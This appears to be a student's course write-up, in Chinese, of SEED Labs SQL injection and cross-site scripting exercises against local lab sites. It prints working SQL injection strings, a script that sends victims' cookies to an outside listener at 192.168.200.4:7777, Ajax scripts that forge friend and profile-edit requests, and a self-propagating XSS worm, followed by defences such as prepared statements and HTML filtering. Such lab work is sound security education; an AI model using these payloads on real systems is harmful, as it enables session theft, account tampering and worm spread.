這個做業屬於哪一個課程 | 《網絡攻防實踐》 |
這個做業的要求在哪裏 | 《網絡攻防實踐》第十一週做業 |
這個做業在哪一個具體方面幫助我實現目標 | 學習Web應用程序安全攻防知識 |
做業正文.... | 見正文 |
其餘參考文獻 | 見參考文獻 |
1.首先鍵入sudo service apache2 start
啓動apache
2.而後使用mysql -uroot -p
登陸數據庫,密碼是seedubuntu,查看一下表中數據,爲實驗結果作個佐證
javascript
1.在fireFox收藏中打開SQL Injection site書籤(www.seedlabsqlinjection.com)php
2.F12,USERNAME和輸入些東西,登陸,在Network窗口看到輸入的用戶名和密碼發送給unsafe_home.phphtml
3.打開var/www/SQLInjection下的unsafe_home.php文件,看看其對數據斷定處理的具體描述
數據庫表中存儲的Password是輸入密碼經過sha1以後的哈希值
4.USERNAME輸入admin'#
而PASSWORD輸入任意便可進入admin的登錄主頁,由於#註釋掉了SQL查詢語句中的and Password='$hashed_pwd'
5.命令行鍵入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%23'
,其中%27和%23便是'和#在url中的轉義編碼
6.在USERNAME中輸入admin';update cerdential set address='NewYork' where name='Alice' #
,試圖修改信息,可是沒有成功,這是MySql的防護措施,阻止了調用多條語句。
java
1.以相似方式登陸Alice的主頁,在Edit Profile修改信息。輸入
',Password='46ab578353b0478abc71fa54796a76c10bbe41a8' where name='Ted'#
save後,退回登錄界面輸入ted和ted登陸,46ab578353b0478abc71fa54796a76c10bbe41a8是ted的sha1加密後的哈希值。mysql
SQL注入漏洞的根本緣由是SQL語句送往數據庫執行時沒法分清數據和代碼。
1.在var/www/SQLInjection下除了看到以前實驗中的unsafe_home.php和unsafe_edit_backend.php,還能看到safe_home.php和safe_edit_backend.php。猜想是seedlab提供的使用了對抗sql注入機制的文件。
diff -y -W 100 unsafe_home.php safe_home.php
(顯示不全),比對一下,發現後者使用了預編譯。
2.unsafe_edit_backend.php和safe_edit_backend.php
3.驗證一下效果,瀏覽器訪問
www.seedlabsqlinjection.com/safe_home.php?username=admin'%23&Password=
發現沒法進入admin的主頁了。
一樣驗證一下Edit Profile的變化,瀏覽器訪問
www.seedlabsqlinjection.com/safe_edit_backend.php?NickName='%2Csalary%3D100%23
發現Admin的工資並無改成100,而Nickname變爲了',salary=100#
web
用戶部分信息sql
用戶名 | 密碼 |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
charlie | seedcharlie |
samy | seedsamy |
1.在fireFox收藏中打開書籤XSS Lab Site(www.xsslabelgg.com)shell
2.用Alice的用戶登陸,用戶名alice,密碼seedalice數據庫
3.在Edit profile編輯我的信息的頁面中的Brief description項輸入<script> alert('xss');</script>
,save後能夠看到一個提示信息爲XSS的彈窗
4.相似地,當Brief description項改成<script> alert(document.cookie);</script>
,save後能夠看到一個包含本身cookie信息的彈窗
apache
1.在命令行輸入nc -l 7777 -v
監聽7777端口,而後將Brief description項改成
<script>document.write('<img src=http://192.168.200.4:7777?c='+escape(document.cookie) + ' >');</script>
save保存後看到命令行7777端口收到了cookie信息
1.到Boby的主頁www.xsslabelgg.com/profile/boby,添加Boby爲好友,在Web控制檯Network窗口能夠看到用POST方法發送的HTTP請求,參數有三,分別是__elgg_token,__elgg_ts和friend
2.構造JS腳本
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
3.將上述腳本填入Alice我的信息的About me中,推出Alice帳戶,登陸Boby帳戶,訪問Alice主頁,而後返回本身的主頁,發現已經添加了Alice爲好友。
注意:About me中的代碼要用edit HTML模式保存
1.一樣先看一下修改我的信息都發送了什麼數據
2.構造js腳本
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
3.將js腳本填入edit HTML模式下Alice的About me中保存。而後登錄Boby帳戶,訪問Alice主頁而後回到Boby主頁,發現我的信息已改變。
1.構建代碼
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
2.將這段蠕蟲代碼放到Alice的About me中,而後登陸Boby的用戶訪問Alice的主頁,再登陸Charlie的用戶訪問Boby的主頁,能夠看到Charlie也被感染了。
使用elgg提供的插件HTMLawed,管理員登錄後Account->Administration->plugins,將HTMLawed激活,再次訪問Alice主頁,發現About me部分的蠕蟲已失去效果,代碼做爲數據被展現。
除此以外還可使用htmlspecialchars函數轉義HTML中的特殊字符。
實踐小巧但仍是頗有現實意義的。